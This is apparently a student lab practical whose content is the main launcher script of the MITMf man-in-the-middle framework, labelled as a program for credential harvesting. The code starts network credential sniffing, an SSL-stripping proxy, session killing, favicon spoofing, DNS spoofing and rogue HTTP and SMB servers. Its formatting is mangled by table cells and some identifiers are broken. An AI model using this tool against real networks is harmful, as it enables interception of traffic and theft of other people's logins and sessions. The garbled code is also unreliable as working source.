Practical No. 9

Name: Pratik Patil

Roll no:-201

|  |
| --- |
| **9.Writing a Python program for performing Man-in-the-Middle attack on Network for credential Harvesting**  import logging |
| logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy |
| logging.getLogger("requests").setLevel(logging.WARNING) #Disables "Starting new HTTP Connection (1)" log message |

|  |
| --- |
| import argparse |
| import sys |

|  |
| --- |
| import os |
| import threading |
| import core.responder.settings as settings |

|  |
| --- |
| from argparse import RawTextHelpFormatter |
| from twisted.web import http |

|  |
| --- |
| from twisted.internet import reactor |
| from core.logger import logger |
| from core.banners import get\_banner |
| from plugins import \* |

print get\_banner()

|  |
| --- |
| mitmf\_version = '0.9.8' |
| mitmf\_codename = 'The Dark Side' |

|  |
| --- |
| if os.geteuid() != 0: |
| sys.exit("[-] The derp is strong with this one\nTIP: you may run MITMf as root.") |

|  |
| --- |
| parser = argparse.ArgumentParser(description="MITMf v{} - '{}'".format(mitmf\_version, mitmf\_codename), |
| version="{} - '{}'".format(mitmf\_version, mitmf\_codename), |
| usage='mitmf.py -i interface [mitmf options] [plugin name] [plugin options]', |
| epilog="Use wisely, young Padawan.", |

formatter\_class=RawTextHelpFormatter)

|  |
| --- |
| #add MITMf options |
| sgroup = parser.add\_argument\_group("MITMf", "Options for MITMf") |

|  |
| --- |
| sgroup.add\_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]") |
| sgroup.add\_argument("-i", dest='interface', required=True, type=str, help="Interface to listen on") |
| sgroup.add\_argument("-c", dest='configfile', metavar="CONFIG\_FILE", type=str, default="./config/mitmf.conf", help="Specify config file to use") |
| sgroup.add\_argument("-p", "--preserve-cache", action="store\_true", help="Don't kill client/server caching") |
| sgroup.add\_argument("-r", '--read-pcap', type=str, help='Parse specified pcap for credentials and exit') |

|  |
| --- |
| sgroup.add\_argument("-l", dest='listen\_port', type=int, metavar="PORT", default=10000, help="Port to listen on (default 10000)") |
| sgroup.add\_argument("-f", "--favicon", action="store\_true", help="Substitute a lock favicon on secure requests.") |
| sgroup.add\_argument("-k", "--killsessions", action="store\_true", help="Kill sessions in progress.") |
| sgroup.add\_argument("-F", "--filter", type=str, help='Filter to apply to incoming traffic', nargs='+') |

|  |
| --- |
| #Initialize plugins and pass them the parser NameSpace object |
| plugins = [plugin(parser) for plugin in plugin.Plugin. subclasses ()] |

if len(sys.argv) == 1:

|  |
| --- |
| parser.print\_help() |
| sys.exit(1) |

options = parser.parse\_args()

|  |
| --- |
| #Set the log level |
| logger().log\_level = logging. dict [options.log\_level.upper()] |

|  |
| --- |
| from core.logger import logger |
| formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d  %H:%M:%S") |
| log = logger().setup\_logger("MITMf", formatter) |

from core.netcreds import NetCreds

|  |
| --- |
| if options.read\_pcap: |
| NetCreds().parse\_pcap(options.read\_pcap) |

|  |
| --- |
| #Check to see if we supplied a valid interface, pass the IP and MAC to the NameSpace object |
| from core.utils import get\_ip, get\_mac, shutdown |
| options.ip = get\_ip(options.interface) |
| options.mac = get\_mac(options.interface) |

settings.Config.populate(options) log.debug("MITMf started: {}".format(sys.argv))

|  |
| --- |
| #Start Net-Creds |
| print "[\*] MITMf v{} - '{}'".format(mitmf\_version, mitmf\_codename) |

NetCreds().start(options.interface, options.ip)

|  |
| --- |
| print "|" |
| print "|\_ Net-Creds v{} online".format(NetCreds.version) |

from core.proxyplugins import ProxyPlugins

|  |
| --- |
| ProxyPlugins().all\_plugins = plugins |
| for plugin in plugins: |

|  |
| --- |
| #load only the plugins that have been called at the command line |
| if vars(options)[plugin.optname] is True: |

ProxyPlugins().add\_plugin(plugin)

|  |
| --- |
| print "|\_ {} v{}".format(plugin.name, plugin.version) |
| if plugin.tree\_info: |
| for line in xrange(0, len(plugin.tree\_info)): |

print "| |\_ {}".format(plugin.tree\_info.pop())

|  |
| --- |
| plugin.setup\_logger() |
| plugin.initialize(options) |

if plugin.tree\_info:

|  |
| --- |
| for line in xrange(0, len(plugin.tree\_info)): |
| print "| |\_ {}".format(plugin.tree\_info.pop()) |

plugin.start\_config\_watch()

|  |
| --- |
| if options.filter: |
| from core.packetfilter import PacketFilter |
| pfilter = PacketFilter(options.filter) |
| print "|\_ PacketFilter online" |
| for filter in options.filter: |

|  |
| --- |
| print " |\_ Applying filter {} to incoming packets".format(filter) |
| try: |
| pfilter.start() |
| except KeyboardInterrupt: |
| pfilter.stop() |

shutdown()

|  |
| --- |
| else: |
| from core.sslstrip.CookieCleaner import CookieCleaner |
| from core.sslstrip.StrippingProxy import StrippingProxy |
| from core.sslstrip.URLMonitor import URLMonitor |

|  |
| --- |
| URLMonitor.getInstance().setFaviconSpoofing(options.favicon) |
| URLMonitor.getInstance().setCaching(options.preserve\_cache) |
| CookieCleaner.getInstance().setEnabled(options.killsessions) |

|  |
| --- |
| strippingFactory = http.HTTPFactory(timeout=10) |
| strippingFactory.protocol = StrippingProxy |

reactor.listenTCP(options.listen\_port, strippingFactory)

|  |
| --- |
| for plugin in plugins: |
| if vars(options)[plugin.optname] is True: |
| plugin.reactor(strippingFactory) |

|  |
| --- |
| print "|\_ Sergio-Proxy v0.2.1 online" |
| print "|\_ SSLstrip v0.9 by Moxie Marlinspike online" |

|  |
| --- |
| #Start mitmf-api |
| from core.mitmfapi import mitmfapi |
| print "|" |

|  |
| --- |
| print "|\_ MITMf-API online" |
| mitmfapi().start() |

|  |
| --- |
| #Start the HTTP Server |
| from core.servers.HTTP import HTTP |
| HTTP().start() |

print "|\_ HTTP server online"

|  |
| --- |
| #Start DNSChef |
| from core.servers.DNS import DNSChef |
| DNSChef().start() |
| print "|\_ DNSChef v{} online".format(DNSChef.version) |

|  |
| --- |
| #Start the SMB server |
| from core.servers.SMB import SMB |
| SMB().start() |
| print "|\_ SMB server online\n" |

#start the reactor

|  |
| --- |
| reactor.run() |
| print "\n" |

shutdown()